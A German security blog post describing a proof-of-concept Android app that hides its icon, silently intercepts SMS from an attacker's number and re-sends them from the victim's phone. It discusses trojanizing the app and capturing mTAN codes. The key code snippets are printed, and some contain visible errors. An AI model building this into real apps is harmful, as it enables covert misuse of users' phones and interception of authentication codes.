Android SMS Proxy App

Android SMS Proxy App

Oliver Kunz
von Oliver Kunz
Lesezeit: 8 Minuten

Stellen Sie sich vor, Sie könnten dank einer App Kurzmitteilungen versenden, doch der Empfänger erhält das SMS mit einer anderen Absendernummer. Stellen Sie sich vor, Sie sind ein Anbieter von Spam und haben keinen Skrupel, Ihre ungebetene Werbung mit Kosten für Drittpersonen zu versehen. Innert kurzer Zeit habe ich hierzu einen Proof-of-Concept als Android App geschrieben. Googles Betriebssystem untersagte mir zwar einige meiner Wünsche. Wie überall im Leben gilt, es ist alles eine Frage der Optik.

Szenario

Wir wollen eine App, welche…

Einschränkungen existieren jedoch auch (selbst- und fremdbestimmte):

SMSProxy App

Wie gesagt, die Anwendung ist innert kurzer Zeit erstellt. Auch wenn man wenig Entwicklungserfahrung im Android-Umfeld, dafür aber Java-Kenntnisse hat. Dennoch möchte ich hier nicht den kompletten Sourcecode abdrucken.

Relevant für uns sind drei Files: (1) Das AndroidManifest, (2) eine Activity, welche bei der Installation angezeigt wird, und (3) einen BroadcastReceiver, der auf empfangene SMS triggert.

Activity – Funktionslose Kernkomponente

Wie im Szenario erwähnt, unterstützt Android in der neusten Version keine Apps mehr, welche direkt als Service gestartet werden können. Dies ist ein Schutzmechanismus für den Benutzer.

Wir benötigen daher eine Activity, welche ausgeführt wird, wenn die App installiert wurde. Diese Activity ist ziemlich simpel. Sie umfasst lediglich eine Methode, die wir um zwei Zeilen erweitern, welche die App im App-Launcher verschwinden lässt:

ComponentName cn = new ComponentName("com.example.smsproxy", 
      "com.example.smsproxy.SMSProxyActivity");
getPackageManager().setComponentEnabledSetting(cn, 
      PackageManager.COMPONENT_ENABLED_STATE_DISABLED, 
      PackageManager.DONT_KILL_APP);

BroadcastReceiver – SMS empfangen

Der BroadcastReceiver ist eine Klasse, welche auf einen Event wartet und dann reagiert. In unserem Fall ist der Event android.provider.Telephony.SMS_RECEIVED.

Die eingegangen SMS-Nachrichten erhalten wir in den Extras des zugehörigen Intents zurück:

Bundle intentBundle = intent.getExtras();
Object[] pdu = (Object[] intentBundle.get("pdus");
SmsMessage smsMsg = SmsMessage.createFromPdu((byte[]) pdu[0]);
String[] message = smsMsg.getMessageBody().toString().split(";");

Damit nicht jede empfangene SMS weitergeleitet wird und auch nicht irgend jemand eine SMS zum Weiterleiten senden kann, überprüfen wir den Absender. Nach dem klar ist, dass unsere gewünschte Ursprungsnummer die SMS gesendet hat, wird der Event für weitere Handlungen ausserhalb unserer App unterdrückt. Das bedeutet, der Benutzer bekommt keine Benachrichtigung, dass eine SMS eingegangen ist. Die erhaltene Nachricht wird anschliessend weitergeleitet:

String smsSrc = SmsMessage.getOriginatingAddress();
if(smsSrc.equals($allowedSrc)){
   this.abortBroadcast();
   SmsManager smsMgr = SmsManager.getDefault();
   smsMgr.sendTextMessage(message[0], null, message[1], null, null);
}

AndroidManifest – Berechtigungen einholen

Wir fügen der Standarddatei AndroidManifest.xml zwei Berechtigungen zu, um das empfangen und senden von SMS zu ermöglichen:

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />

Im application-Tag wird noch die Activity und der BroadcastReceiver angemeldet. Im receiver-Tag müssen wir noch die Priority setzten. Damit stellen wir sicher, dass jede eingehende SMS zuerst durch unsere App geht.

<receiver android:name="com.example.smsproxy.ProxyBroadcastReceiver">
   <intent-filter android:priority="1000">
      <action android:name="android.provider.Telephony.SMS_RECEIVER"/>
   </intent-filter>
</receiver>

Funktion

Die nachfolgende Grafik illustriert, wie die Applikation arbeitet (ähnlich dem Ansatz auf iOS). Nach dem die App auf einem Android Gerät installiert wurde, kann vom Angreifer Gerät – das OS ist egal, nur die Nummer muss mit jener in der App übereinstimmen – eine SMS an das manipulierte Gerät senden. Die Nachricht besteht zuerst aus zwei Teilen: (1) Als erstes die Telefonnummer des Zielgerätes, ein Semikolon als Separator und dann (2) die Nachricht für das Zielgerät.

SMSProxy Funktionalität

Auf dem Zielgerät erscheint wie üblich eine SMS-Nachricht. Als Absender der SMS wird jedoch nicht die Nummer des Angreifers angezeigt, sondern jene des manipulierten Gerätes.

Zusammenfassung

Die PoC-App zeigt, dass es nicht viel braucht und schon ist die Integrität des Mobiltelefons aufgebrochen. Die App kann den Besitzer des manipulierten Gerätes in ernste Probleme bringen:

Der verwendete Code ist so klein, dass sich die Funktionalität mit Leichtigkeit in eine unauffällige App integrieren liesse. So könnte eine App, welche eben unserer Berechtigungen für seine Kernfunktionen benötigt, die perfekte Ablenkung darstellen. Die benötigten Berechtigungen scheinen plausibel für die Funktion der trojanisierten App.

Mit wenigen Anpassungen wäre es auch möglich, jede Nachricht an den Angreifer weiterzuleiten. Jede SMS-basierte Authentisierung würde dann ihren geheimen Drittenfaktor preisgeben, was potentielle Man-in-the-Middle Attacken ermöglicht.

Update 14.03.2013 13:15

Keine Woche nach dem Erscheinen dieses Artikels wurde durch MELANI eine Meldung zum Thema veröffentlicht. Derzeit scheint eine Schadsoftware im Umlauf zu sein, welche auf die mTAN Authentisierung abzielt. Offenbar fangen dabei Angreifer die SMS zur Login- und Transaktions-Authentisierung der Bank ab und leiten sie zu sich um. Damit können sie unbehelligt Transaktionen vom Konto des Opfers ausführen.

Über den Autor

Oliver Kunz

Oliver Kunz ist seit 2010 im Bereich der Informationssicherheit aktiv. Hauptsächlich setzt er sich mit Incident Response, Computerforensik und der Sicherheit von mobilen Geräten auseinander.

Links

Sie wollen die Sicherheit Ihrer Firewall prüfen?

Unsere Spezialisten kontaktieren Sie gern!

×
Active Directory-Zertifikatsdienste

Active Directory-Zertifikatsdienste

Eric Maurer

Konkrete Kritik an CVSS4

Konkrete Kritik an CVSS4

Marc Ruef

Das neue NIST Cybersecurity Framework

Das neue NIST Cybersecurity Framework

Tomaso Vasella

Angriffsmöglichkeiten gegen Generative AI

Angriffsmöglichkeiten gegen Generative AI

Andrea Hauser

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv